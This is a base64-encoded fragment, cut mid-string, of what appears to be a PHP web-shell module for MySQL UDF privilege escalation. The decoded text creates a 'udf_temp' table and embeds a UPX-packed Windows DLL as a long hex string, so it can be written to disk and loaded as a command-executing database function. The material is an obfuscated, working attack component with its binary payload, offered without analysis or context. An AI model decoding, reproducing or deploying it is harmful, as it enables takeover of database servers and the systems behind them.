fcXVlcnkoIkRST1AgVEFCTEUgdWRmX3RlbXAiLCAkbGluayk7DQoJCQkJCQkkcXVlcnk9IkNSRUFURSBUQUJMRSB1ZGZfdGVtcCAodWRmIEJMT0IpOyI7DQoJCQkJCQlpZighKCRyZXN1bHQ9bXlzcWxfcXVlcnkoJHF1ZXJ5LCAkbGluaykpKQ0KCQkJCQkJCWRpZSgntLS9qMHZyrGx7cqnsNwnLm15c3FsX2Vycm9yKCkpOw0KCQkJCQkJCWVsc2UNCgkJCQkJCQl7DQoJCQkJCQkJCSRjb2RlPSIweDRENUE5MDAwMDMwMDAwMDAwNDAwMDAwMEZGRkYwMDAwQjgwMDAwMDAwMDAwMDAwMDQwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMEUwMDAwMDAwMEUxRkJBMEUwMEI0MDlDRDIxQjgwMTRDQ0QyMTU0Njg2OTczMjA3MDcyNkY2NzcyNjE2RDIwNjM2MTZFNkU2Rjc0MjA2MjY1MjA3Mjc1NkUyMDY5NkUyMDQ0NEY1MzIwNkQ2RjY0NjUyRTBEMEQwQTI0MDAwMDAwMDAwMDAwMDA5QkJCOUEwMkRGREFGNDUxREZEQUY0NTFERkRBRjQ1MUE0QzZGODUxREREQUY0NTE1Q0M2RkE1MUNCREFGNDUxMzdDNUZFNTE4QkRBRjQ1MURGREFGNDUxRENEQUY0NTFCREM1RTc1MURBREFGNDUxREZEQUY1NTE4NERBRjQ1MTM3QzVGRjUxRENEQUY0NTEzN0M1RjA1MURFREFGNDUxNTI2OTYzNjhERkRBRjQ1MTAwMDAwMDAwMDAwMDAwMDA1MDQ1MDAwMDRDMDEwMzAwQjI5NzZBNDYwMDAwMDAwMDAwMDAwMDAwRTAwMDBFMjEwQjAxMDYwMDAwNTAwMDAwMDAxMDAwMDAwMDkwMDAwMDEwRTYwMDAwMDBBMDAwMDAwMEYwMDAwMDAwMDAwMDEwMDAxMDAwMDAwMDAyMDAwMDA0MDAwMDAwMDAwMDAwMDAwNDAwMDAwMDAwMDAwMDAwMDAwMDAxMDAwMDEwMDAwMDAwMDAwMDAwMDIwMDAwMDAwMDAwMTAwMDAwMTAwMDAwMDAwMDEwMDAwMDEwMDAwMDAwMDAwMDAwMTAwMDAwMDBEOEYwMDAwMDc0MDAwMDAwMDBGMDAwMDBEODAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDRDRjEwMDAwMEMwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwNTU1MDU4MzAwMDAwMDAwMDAwOTAwMDAwMDAxMDAwMDAwMDAwMDAwMDAwMDQwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwODAwMDAwRTA1NTUwNTgzMTAwMDAwMDAwMDA1MDAwMDAwMEEwMDAwMDAwNDgwMDAwMDAwNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA0MDAwMDBFMDU1NTA1ODMyMDAwMDAwMDAwMDEwMDAwMDAwRjAwMDAwMDAwMjAwMDAwMDRDMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDQwMDAwMEMwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDMyMkUzMDMyMDA1NTUwNTgyMTBEMDkwMjBBNDU5NDc1QzU5RkNDNTg3NjMyQzkwMDAwMEY0NjAwMDAwMEIwMDAwMDI2MEEwMEJDNkZFRERERkY1NThCRUM2QUZGNjgwMDAwNzE0ODA0MEVEMDY0QTEwNTA3NTA2NDg5RkZEOEZGOUYyNTgzRUMwQzUzNTY1Nzg5NjVFOEM3NDVGQzBGN0QwQzAxNzUyMzZBMDBGRkVEQjc3QjAxMkUwNUIwMDhGRjE1MDk3MDAwODk0NUU0RUIwOUI4MUU3MzYzQkIwMTI0QzM4QjJGRkYwMDBGOEI0REYwNUZGNkZGRDk0RTBENUY1RTVCOEJFNTVEQzIwQzAwOTAwMDhCNDQyNDk5QUNGREY2MDRDNzQwMDgxQzEwMDQzMkMwQzMwRjhGNThGREFDN0QwMDgxRUM4QzA5MDU5MkM2ODVFOEZCRkY3N0RGQkQ2MTAwQjlGRjE3MzNDMDhEQkRFOTBERjNBQjY2QUJBQTMzREI4OTVERkM4QjMzREJCQkZGNDUwQzgzMzgwMTBGODU3NzAzODA0ODA0MzkxOTBBNkM1M0VGRkVGRkJGODA5ODhCNTAwODhCMDI1MEU4MEEwMDVEREM4M0M0MDg4NUMwMEY4NDUxMUE4ODlEQzhGNkY3MjAyNzZCNDE0RUM5RjZDNzg1QkMwQTlGRDlEQzVEMEMxNjg5OURDMDA5MEZDNEQ4NTNBMUZCRjZERjhEOEQxQTUxOEQ5NUNDRkEwNjUyOEQ4NUI4MEQ1MDBFQjM5OTY2MUIyQzI1NkM0NDI0NkNDREY3RUZCMTE2Mjg4Qjg1MkE4OTg1QUNGNjA1QTg2NkVFRUU4QzZDNTU5Qzk4NTY2ODA1MDEzNDc3NjcyM0NEOTVDODUyMjQwQ0JGQkE4ODgzQzlERkRDRkZCN0ZGOUNGMkFFRjdEMTJCRjk4QkY3OEJGQThCRDExMDBFNEY4QkNBQzFCM0NERkRGNkU5MDJGM0E1MDY4M0UxMDNGM0E0RkJGMjA4MzU2NkI2MDREODhCMzkzMjg0QjRDMUI1REI2MEU2RDhGQkIxNTMwMDZBMDEwM0ZGNkI2MzgzOEE1MzhCMjBCNDI4M0JDMzc1MkQ2QTBBNkQ4NDQzNkVGMEU4RkIxQzRGNDczQURCQUYzRDdDMTI1MTY2NzAzODBCNTJFOTE3MDU5RTBCNjdCMzBDRjcyQTE4QjlEMEZBNDBGQjBFNzIxMDZBRDFGQTY4MDNGQThEMUQ5M0NCRDhEODQyNjhGRjE0RDBGQUM0N0UwOTkwNTgzQTU0OEQ2NEQ5QkE2RjNFRTUxMTdFOEJGMDg5QjU2NEI5NTM1RUM4MDNDMjk5M0IwNDZBQTE4QkI4MTBDRDJFRDgxQjBFNTY3NDIwQzYzQzEwRkZCOUU1M0I3MkM2MDAwMTYzRThFQkJBMTg4MkZCQjdCOTg1MDQzNkQ0MTEwNUIwNTk2QTIwNkEwMzA0OUQzMDZCNkUwMzdEN0VCMkJGMENGNkIxNzFGMzdCNjg4M0ZFRkY2QTg1Mzg1NjE4RENFRkVGMkQ5NEY4ODlCRDQwOEQ0NzY0QTgwRkY2NTJGMURDMkY5NDJEQjk1OTBDODkwMzZBOUQ1Njc5RjhDRkJFNTY0RjAxNTE1MDMwMTA4QjEzQzYwNDNBMDAwOTQ0NkMwM0U0MEJEMThCM0JEOTY4N0UyQzA4OTMxODU4MEMwNEVCMzY2QTY0QjY2QzhEQzk3MkQwMzE3NDU4MTM1OTRFQ0UwRTUzQzE2NTUxQzgzQkU5MjBGREM5MUU0OThCNTUxNDg5MEFFOThCMDNFNjNGNjFFRTIzQzM2OEM4MEI2Mzg5NTAwQzNCRDM3QzI5MzlEODc1MUEzMjMzQzA3RjMwMDFCQjcwOTE1NTM1N0EwQzgzOTEwREJCOTU0NTExNDIwQzg2NTFDOEQzOTFBQzkxQUU4RDUxMzc2M0YyNEM5NTUyQ0RCMDA2OUI2Q0MyQTRFOTY1NTFDNTFDOEI2Qzc2Njk1RDUzMEMxRkE4NkNCMjQzQzI3QjBDMjk4QjVCQTVDM0E3MUI0RjA4QTQwRjhCNDAwQzg2NzRERDVCNzY4QzA3QkM5MTU5MUIwMDEzMEJDOEFFRjFCNzJDMUQ3NTA2ODNDOEZGQzJDMzBFMDVEQ0MwMzBENzRFMDYwQzc0MDkyRkYyMDJFREI0MzI5MDU0NTU0NDY4MDIwMjE3RjZGRUJGRkU3MTM0RjdEODFCQzA0MDgxQzQxQTVFOTAzRDgxNEMwNjBGNjgwOEI4NjQwNDI2QjA3M0E0NjYxMjFDODY2RENCQjY0MTdCODg1REE4NzQwMUE5MDJBREIxN0VFM0QyQjc2NjAzQjU4ODQ1QjcxNjg0RkVGMTg4ODU5MEZGRkU3RDcyQkIwNjU2M0Y4NEJEOTEwQUU5ODNDRjNGNEY5QjJFMzQ3RDk0MkM2QTAyMjI3MTc1OTQzQjVBMDE4Q0VERjc3NTE2MTZGQzE3MDhFQzNGNzkwNDQ4ODhGRUZFNzExMDNCQzc3NTFENTYwQTFCQzYwQjZDMTQzMjZBMTA3QThENzQyMzVGNjFCOEU3M0E1MjE4MEY2NkRCOEQyQzJDODg5ODBCNTMxQ0FFOUEzMzhGQ0EwMkREODI3QTFEMEUyMDNEQjhDOUI1MzdEQzkwMDRCOTgyN0U4QjMwODlDQUI0RDZEMzdDQjAxRDgwQjQ3MUQzMzcxMTBDRTc0OEJFRERFQzZGNkEwODFBQThEMTc3RTY0ODlFMDRBMEI2MTM4RDU1QThFMzI3MzI1QTAwNDM4RDdEQTg4M0NFMkQ2NTZCMDc2M0NFNDU3NTM3RTU5QjUxMkZEOEI3QzEwMjhCOEI4NTk2NTA0NTIyRDlCRTFCNjE0NDQxOEQ0REE4ODVDOTc3REQxNjk2MTM5QzJFMDYyNDlDMjM4RDQ3MjgzNDE2MDc1MEQyODk1NDI4M0I3MDgwMENGMkM2NzUyNjUzNzU0N0M4NEI2Q0MwMjVDRjA3MEQwNDhDRkZGRURGNUVCQzg1NDlFNDIwMDg2NkU0NTE2QTI4QUUxMURCNkU2MUJDNTJGODhEMjA3MjIyOUQ0ODlBQjM5ODVEMkMxRDhCMzU3ODFDODhEMTFCMzAyQTZDMzdERjU5NjgzMTE2NTlGRkZGMTE1MUJFODJCOTZENDJENkZDODRGRUQ1MTA1MkQ5ODVDRDA2QTUwOTFDRUJDNUJBOTQ1MDYwNTIwMjJDMDY5RTBGMzk4MUM1MTE3ODhGQTQwNEZDRjY4NDUwMjI4Qjc1MDg3Q0MwODA3RTA5MDYwQTRCNzc1QjcxQTg1RjhCNUUwQzIwRDQ2OUQ5RDExNUNFRjkyMDExQzhCODBEMTI0Q0I2MTc3RUE5OEFCNkUwMEZDMUUwMDI4QkM4MDNDNjA0QzQ2ODE0MUFERjAyQ0MzM0M5OEE3REJGQjU2NkZCRUY1RTRDQzFFMTAyMDU4RDE0MDE4OTU1RTA4MDNBNEQ0RjU4NkY4RjgxOEJCOUFBMDFDQzhCRjJFMjY2RjNBN0VEMENGMjZDMTY0MTAyQzAxNTlEMDU0MkQ4NzU0NzcyMDVCMDRDMkMzOTA4QzEwRDAwREE2RTBENjdFRjE5NjhEMDA3MDAxMDM0RTkwQjg3OTVCQzU5QzgyREVEMTUzM0Y2MDdCODA3NzRDMDNGRkI5MDA5QzE4M0MyMDYyOThBMDIzQzIxNjdERjdGRTk3NDNDODQzQjFCM0MwQTc0MTc4ODg0MzUzMDQyMUI0NkQ4ODk4NDY3NDRFQkRCN0ZCOTA3Q0FCQkZGNkYyOUI2QjUzQzMzRDJGM0E2NzUzQjg4OTU0QzBCQjkxOEQ5NjJDODYwNzg0REIzNEM3NjczOTAzOEMwQjEwQjZDNjhFODAzQzU5Mzc4MjcxRUVCMjU0QTFEOEUyMzY1MzRCMDMwMUJCMTM1NzI4MTQ0QzYwRjRGOTQwMEQ3NDkzQzc3QzcwMzBCNUUzODJFODFEOEJCN0YxQTgzN0MyNDEwMDI3NTEzMDYwNDA1NzUwQzVCNjQ2NDA0NkI1RjIzQzM1NzA4NEYxNzkyMTNDODg4MTQwNTI1RjFFQ0EyNjM4MTBDNTQ1NkM5MTM0Q0Q4QzlDMjJDQkQ0RkU0ODVEQkNFRTQ5OTU2NkJGNkNGRTBGQThCQ0IyQkNFNDkwQzA4MDQ5MDRCQjgwNzY4MDQyNzAwRTBGRTM5NzIyMUY3MjQ0MzQ1NThFMEZFODEwOEQ4N0I5NjAwMkY4QkZCMUIyQTIzMjc4MzdDRDk4QkZBQ0JDQjUwNzNCQ0M4ODU1MDk4RTBGRThENkZCRkFDMDNCN0IxMERDQzYzREMwREFGMjM0QjIxRDE4REM0N0FGMDJBRkE3QTU2OEY2MzhGQTJDMEVCMEMwMzU0QUQ0NkYyQzUwNUVFRDQ4ODIxQjAxQTYwQTA4MUM0MTEyNjg0QzNDRkY0NDI1Njg5RkYzQjc3RDc3ODU3MDQwQ0I5MTEyODBEMTA4RDdDMjQxOEYzQUI4RDRDMjQzQjBEMDY5QjZDMTQ1MUFCMzQzMTAxQkEwQjA0MUIwMTExRTU3MjRFNjRGMDY2NTA3MjBENTUzRDg3NTVGRDA0QkE5MTc0NjYzODBFNkU4RDU0MjQwOEQ3MzFGNjJEOTI1MjY2MTgxMTA4NDM1QzVDOEY0RjRBNzYxODUwNTE0Rjk0ODExMDZBNUNERkJGRUFDQzQwNDQwNzZDMTU4OUI0MjQ4MDk2NzRDNjc2NTJERDI0N0MwMzc4OEM1RkI2NUU1NkI4N0I0OUJDQkZGMEZGMjU1QjNDQ0NDQzhEODdENEUxNjc0NzU1RTdGMEZGNDJERjg2QzAwRDVGNjEzQzVENkM3OTA0Rjc0MTA0ODY4QjIzQjgwNjU0MjM3NDBGNzk1Q0VGRENEN0I3QTUxMDg5MDJCODYzQzMzRTEyMTA1MDZBRkU1QzkwOEU3RjQwRjg2NEZGMzVBOTAwMTk4RTFBQjUyNTI5NTgyRkRERDVCNEJGQzBFRDc0MkUzQjkzMjQ3NEZBMzQ3NjhCMENCMzg5NTlCRDJEQjUwQTAyQzMwNEIzOTQ3NTEyNjhGN0RCQkZFREJEMkRCMzdEMEVBQUZGNTQwOEVCQzM2NDhGMDU0MzIzNkM3Mjg2RUE4QzFBNjQ4QjlDODE4NEZGODNERjc5MDQ2ODc1MTBFMzUyMEMzOTUxMDg3NTA1Q0Y0RDA1QkJGQjUzNTFCQjFFMThFQjBBMDgyNDg5REZEQ0I3QjY0QjAyNDM5RDZCMEM1OTVCRkNFRjU2NDMzMjMwMDY5RjBCRjc1ODQzMzAzMEY3QTVGQUZDRDgyQzEwREJEMTBDNzRGNzQwRTQyNjgyQjU4REQ2M0UzRjQ1RjgxMkUxMUI4RDA4QjY3Rjk3QUQzRTIxNzM3QjA4QzE2MThEMEM3NkIxOEZFQTZFRUQ1Rjc0NDU1NjU1OEQ2QjEwQTgwQjVENUU0MTBCMzNCQkU4NUVENjMzNzgzQzI1NTM0RjBERDQxRDJCMzhEM0FGNTYwQzBFMTY4RDM2QjdERUREQjZDNTY0OEYzNThGNTUwQzNCMDhDNzdFQkY3MzMwMUE4QjM0OEZFQkExQjhEQkVCMUNDOUVCMTU4ODRERDY3QTVDMDAzRjVEMTY0NjZGNjg0Mzk0QkMzQjhCMjk4QjQxOUZDQzI1NkJCNDAzMTgyNEUxRDc2M0Q5QjY2RTIwQ0Y1NkJERThDMEUwMTBFMjQ3ODVFRDc1RUM0MjNDMEFFMERENUIwRDFBN0U0REU0N0YzNDE2OEQ1QUZGM0FERDc2NkIxQjkyNzg0RDFDODAyMDc3MEQyNDUwRURDM0ZGNDg4NDE1NzU1OTU5OEJDNjVFQzlDM0NGOEREQ0ZBRjdEN0IyNkI3MTE1MTAwOEMzQjdFMDc3MjIxMkM3NDI0QjRGMDQzNEE3NTk5MTM5MTZCREYwMUM2Qzc0MTAxMzFFOTdERUIyQzM1NjhCQjVGQjA1RDczODNCNDI1NjU3NzcyMTZBMDkxQzFGRjhFQ0EyNDVGQkE0MjQwMjBDOTFFRjIwNTlFMURCNDZFRDM4Q0VDN0ZEODVGNjc1MDMyODYzRkNEQTdGNUU4M0M2MEY4M0U2RjA1Njg4N0NBNEJDQzY1Q0UyM0IzQTZCRkM0RDU3MTZGNjQ2MEM0MDc0RUNFRkI3NUQxNTY2MENCMjE3NEQyOTczMDUxMEIzNTY1MkY3OTAzNTczMjlDNTRFMzA4Mzc0MzQyNDExRkFGRUU0MkI1MDJBRjdGRjc2MTAwNzE3NkY5QjM0RjVERDdEMDUyNUVCMTI4QjQ2MUM1MzBCNUZEMkE0RDg3QjFDMDA1OTY0NEIyQTIwQjI1NjI4NzUyRUUzNEE0NjdBODZCMzg2RjYyQzU5MUFFMUQ4MUUyREZBODVFRkZEMEE3QzA5MkNFNjFEOTAyODBERTE1N0Y4RUQzOTdEMDg0NzBGOTRDMDQ4NUJDMzE2MzAwNzdBQzMxQTZFNURGMTAyNUI1NzU2MzkxODAzQkEyMzk3N0Q2MDk3Q0ExNDZBNDAxQTBDQjhDRERDRjcwMzlCNERCNERENDA3NDNERkQ2RTc4NDA1NzIwQUM1OTdCNzQxMzU2QzIyMEQ3ODQzMzM3RTExOTYyNDEwQjU5NTdCNEM1REEyRTYwMThDQzA3ODM1MzI4RDAwQ0JDMzAxMEUzMjZBQkE3M0RCODg0RkIxMTQ3RDkwM0NCOEJGRUVBNUE4QTQ2MTRCOEYwMTc1OUM5M0E0N0ZGNzcwNEE5NDk0OTYwODU2M0VGMUIzODVCNUU1RkM5M0EwMDUxM0Q3REJCOEIzQjFDMjc5NzcyMTQ4MTExMjIyRTJEMTBCNUI3M0ZGNjg1MDExNzczRUMyQkM4OEJDNDBDOEJFMThCNTk2RUI0QTMyRDY4NTAzNkMxMEM1NzZENzQ3QTlCRjhCQUVCNzREOUM2MTRGN0M2NEQ4QjE5NzUwN0Y4Qjc3ODAzQUI3NTZGRUIyMUY2NDY4ODA3NDc0OTc0MjVGRjZCQ0ZCQTI2MjkxRjc1RUIyRDFENTE4M0UzMDM3NDBERUU1RUVGNjYyMDFEMkY0Qjc1RjM4NDkyQzNGN0M3OUVEOUUwRkQyODc0MTIzQUZEOEExMTZBOUIzQkU5M0FFRTZDMTgyRUZBMkFEMURCQzJGNkM4MkU4OUZFQzdEMDc0QUZCQUE1REIyRkI1MjNGRUM3MDYwM0QwODNGMEU4QzI4QjRGNzhFMUJGRjVDNjA0QTkwMDk0ODE3NERFODREMjc0MkM4NDY0MUVGN0MyNkZCN0I3QjkwRjU4MEMwNzA4NzVDNjM5RUIxODgxOEMzNEREQTNFMjcyMDkwRTAwMDQ2QTJCQzQ1QTg4NTMzRjU1MEEzQjZDRjdFQkVFMDc1Rjc1RjhCMDc1ODVBM0NDRkZFRkRFOERDNjk3NEU4QTExRjE2MTY5OEE3MTAxRERCRjJCNzQ2NDRGNzcxOTE0OEEwNzQ2MzhEMDc0MTVEOTBCRDNEMkE1NzNFMzBBMEE3NUY1RkM1RjUxRTI0MjE3M0UxMEYwMDc4RDdFNDM2MTAyRkUzQjJBNTBERDRFMURDNjAyMzhFMDc1QzQ4QTQxMDM3NkVERERFRjMxMTg4QTY2RkY4M0MxMTA3NERGRUJCMTJGMzQ4QUMyNkI3NDg1MUI5MDMwRjI4REJDMENDMzRDMDVDN0RCODhERkZDODNGOEY5ODhDQzA3OEZBN0RCQzY2OEJFQTMwNjhFNThCRUIyNDI3RUJCOEVERTNDQTEwRTY4MEQwNzU5MjVERUMxMkRCREQxRjdGQjEyMTAyNzYwODkxNjY0OTUwODAzQzFFRERCNTBGMzM3NUMzMkY3NzUwOTQwRUU3ODc2OUJEREQ4RUI3MjU2NjQxQ0E0QzAzOTY4MDk4RENDN0JCM0Q5NkQzNDUyMDQzNzFCMzY2MjMxQThGRjA1MTk2MjdGN0ZCQkM4RUIzRTZCM0JDMTc1MkMzOTBEMEQ3RUJERkYwN0U2RkIwQUZDMEQ4RTkwRTEyOEU2MzIwRTE3NUE4OUQ4MzMxQTY0RkJDMjU1MDc1MTRFQUREODdFMTFCMjU5QkY1ODMzQTU2OUEzNjMwOTdENTZCNDU3QzcxMDVFQkRDMEQ2QkIwOTgzM0Q0ODI5MjZDMTAxNzQwNTQ3RDM2RUEzMDQwMzIyREFBNEM0RTgwOUY0QUVEOTk5NkVGRkQwMDgwQ0MxMTNDQzA0QkNCNkQ0MTBCRjRFMEYwN0VCOEQwMUM5MEM0QzZENkZCMEJCMTczNzU3NTAyM0Y2NDY3OTI2QTMxNUVEODAzNDAzMjEyNUY3MUYwMTE3Mzk2QzExNUIwODNDNUJEOEI5RTI0MUMwRDAxQThERDREOEIxQUU2MTc2QkEzMTBFOTdEODAxREI3OEMwNDFFMDNBOUEzQTNBRDNDNTdEQ0QyQTdEM0I4MTMwQUI3NTZDNDYyRDZDMzZCRTAyNUUxMEE4ODJEMkY2QTg0MEI5RUVEQUI2MUJFRDA3NEFBOTY2MDQwNzEwMTdERTZFQkZGNzdGM0Y0RTA4MjRGRTg5MEU4OTQ2MkYxODgzNjU3NTI0RUYwMzM3RjcyRDZFNjZBOTBDMDExNUY5ODFGRThCMDNCRkM3NUEyODlDMDc0ODc1MEJDMDNGMzJBRTZBQkZGREQ3MDczRTNFRUU1OTY2RjcyNzA4MDE1Nzc0Njc0MjBCRENCNjVGQUMzRTJCRjg4RDQ4MzkwRTU4MTg0OUE0ODlERUI5OUVGMDRFMDQ3RTEwMDUzQ0ZFNTNEQ0VCMzY4M0ZCRjZDQkZGREZCQTE5OEJDQjhCQzNDMUY5MDU4M0UwMUY4QjBDOEQ5MzgwOEQwNEMwMDJCNkY0QjJEMDgxOTZCODg0OThGNkYzMjBGMzk5QjE1NkExMDc3ODNBMjYwQTRCMkNEMTVDOEE5RTg4RTYxNEI3QzBDMjRBMEQ3NDg4NTUwN0RGNDBBMTI5MzJERjRFMEMyMEVCMEZDQzE2Qjg3NjBDN0NFQjA4MERDMkMxQzhBNTBFODY0QzE3MDY0ODAyREZCQTk1QTFFNjc5OEExRjA5REI4OTc1RjQxMUJBRDA2RTAyRUM4OTBGMEVGNDA2RDFCNzA1RDc0QThEMzcwNjQxRDAwOTM5NTU0QUJGN0RGN0VDMEY4Q0RDMTc4MEZCMjA3QzEzMDQ3ODdGMEUwRkJFNTAxNTJFQzA4NjMxNzE3NDYxRUIwMkY4QkUyREJDQkIwRjg0QzYwRTk0QzFGODA0QTcwNzg5RDAwRjg3OUE4NUY2NTJFQzMwRkYyNDkwMURCMjgzNDgwM0NCQjIyQ0RCNTVDQzAyRDhFMEU0RkNEQ0JDNkRCQjRENUQxRDk1NDg4M0U4RTQzQjA0MDM3NDJEQzFCNTVFQTIwQjFGNDg0ODg0MERBOEQyQzU2RTZFNTk0MDM5RkMwODI3MDgwNDFDQjI4QzFEMDExMTgwODAwMkMzMTI4RTlFRkIyQUY5Qjk1MDlCNjg3NjEzNjYxRTZDQzgwRjhEMTI0NjlCODk5ODVCOEVEODBFMjdCNDc2Q0JCMkVEMTcwQTY2NkM0NDQxRDBFQkU5OEFGMDNFRUQ1QzJFNjQxRUYwRDMwNUJGMzBFN0NFNjMzOThEMDQ4OTM2MUIzNDZGQ0JEQjU2QUUyRTA0Njg3NDIwNkNCODgwRkI3NzkwNDk1RTJFQTAwNTgwNERGRDEwRUVDNkZGRTQyMDNGMzY3NTE0ODA3RjAxMzRDQTQ3NDcyNzFGREE2Mjg2ODA3NzE4ODhEMEFBODU2OEI3QzZFRDBEMUMwRkI2QzNGNjY2MDE4MDIyOTFFQzUwMTQ3RTA2MTMxRTI4OTgxRENFQjBDMThEQ0MzNUVCNDczMzE4MTY1MkYzOUJFMTI3Rjg2NzBGOEYxQ0U1MDg2NTBGOEQ5NjAwRjlFRjQzREI1ODExRUJBOTg0NzgxN0U4NDMwRjg0OUZCOTZENUQ4MzZENzAwMzZDMTAwQ0I4RTkwM0FGNzRBMTQ2QzZCRTMwMDhDQ0MwOEIyNTQzMEJGREYwQkQ2OEJFRkFDQUM1NEJDMjE5MjFEMEFEQUVENERFRkI4OTRERjg0NEU3QjFDOTJEMEUyREU0N0VCOTgxMzgxMjI5REM3NDc3QjM3RDIxMkFENjRFODVEMjIwRDQ2NjgzMzg3ODg2OUZFRDVEQ0EwOTQwNDBFQkU3MjFDQzgwQzMyMDEzNkIxQjc0QUI0MDhGQjhGREYzQ0FEMTREREI5NTVGNzA4RENGRjNGMDA2Q0IxQTBEOERBRkYxNjYwMzc3ODYyRTg4NDhCRjU3ODA4OTA0M0E5NTNGNUIwMDhERDFENkM1RjQ5MDMyM0ZEODBDMjk4RUREQkVCREQzNUE3NDMyMDQwOTc0QzU0ODdDRTgwMTUyMUM5N0IzQjM0NUZFM0E2QzU5ODgyQUY0NDcxQTE4MzE0N0JEMjAwMkJCODkxNjM1OURERTZGMkNGNjQ1ODBEOUNDQjk3Rjc0MTcwRkJGMDBEMUU4RTM2OUU2NTJEN0Q4QzNBRDJEREMwMDBDQkYwRTk0QUU2REI0QkU2RTgxMzQ0RDUwQzI4RDgzMTQ2NzBCMkQ4MjZCMjVENTE2NUM1MENDQTJCNUFGRDQ4M0MwNUUwOEYwNUQ0QjA1M0I2QzM3NzU0MEZDMEVCQ0M4RDE4Qjg1MUZCMDgyQjhGNzg1NTA4MkZDQzlDNjA1N0VCNTgxRTY5RTc0MTQyOUYwMDAzNTA2QkU2N0IzMjQyMDVDNTk1RDEyQUY3ODg0MzI2MTE2NTQ1NjJENzUwREQwQzJCQjY1M0EyOUJEQjlFMDYxNTdBNzU4ODg4RDg0NTlBNjE5Njk0ODk5RUQyQzFEMEMwNTlFMDY4NEI2ODZGQjJDODA1MTg0RkQzMzFCMjNCMUNGMDVGNzc0OTFDOUMxNURENDI3M0M2MDI2MjFGNjJCQzFEMUY4NDdGRDM0MEJEQjA1ODJGNjI4ODAzOEFGMDNFQ0YxRDcyODE3NkIyNjI0RkU4NTNENkIyODE1Q0MwNzREQkI3QjEwRDQxMEE2RkVGNjVEOEExM0M2NDVFQTMwMDQ1MTYzNzdDRjYwREY2Nzg4NDVFQkVCNDgyMTA4M0JDMjAyRUIzNUQ2ODUyRTA5OTcxQjIwOTkwOTY2OUYwOENEMkRGMEVDNjY4OTA5MDUwNzA2RjUxNEVCMEUyOTZBNDAzQzBBNjlCRjFGRDZBMDVGQTUzQTc5NTlFQjQxM0Q3NDIxODUxOTYzNzQwNTQwNEEwQzBGQkI2NDFCMENGNkMwOTlFQjI1MEJCN0M4RjIyMEFGQzBFQ0M5MDhFQkUwMDcwRTE5QjhGNUM2REI3NDFCRTM3RjE3N0MxQUMwNzMxMTU4ODNEMkQ2RTJDMzBEOUZGN0RBNjk4QkZBQzkwQjFGREVFMEI1MDU3N0RDODNFNzAwQjI3RDA5MTYxQjJEMDhGRDFCMkFGQ0FBM0FDMEI2RkJDNjBCQzc3NTA5RTQwMDYwQjczM0Q2REVBREQ1NUU2MTRBN0YwNjE5RUUwRjc2NUI1REZERjQ5OTUyNTA1NzhBQzAwOUM0NzY0MDlDNUZEQjZFMzcyQUM0OEI2NkMzMzAwN0MwMTcxMTJDQ0JGNkRGMDYzRTM5Njc3RTAzMDM1REQ0NDBGOEY4NDdENzVDRjc4ODE4RUJCNTUwMkIwQzAyN0YwMkE1MUFFRTlCMDM2MTE4ODAzOTMwNzVBOTBBMDA5QkJCRUIyNDQwMEZDNjAxMzAxQTk4RDgyNURFRkVCMUI2RjQ5MzVERkNGNkMzRDIyNkY2QzcxNkNGNUE4Mzg2MDY4QTJENUMwRjBBMkJFQjQ3MzY5QTk3MDkwMjc0MEIyMEMxRTQ3NUUwNjAzNUI2RUQyQjc1RTQwMkY0MTgwQzc4ODRCRERCNjFBOTFCMjAxRUYwQzQxMDExQ0Q3QzM3QjcwM0VBMTQwMkU0NTAxNTM0MkM5MDAxRDk0QzNFMzEwNDMwNkY2Qjk3REE4OTNFNzQ0MTA1OEI3RUZCQkIwQjk3Njg4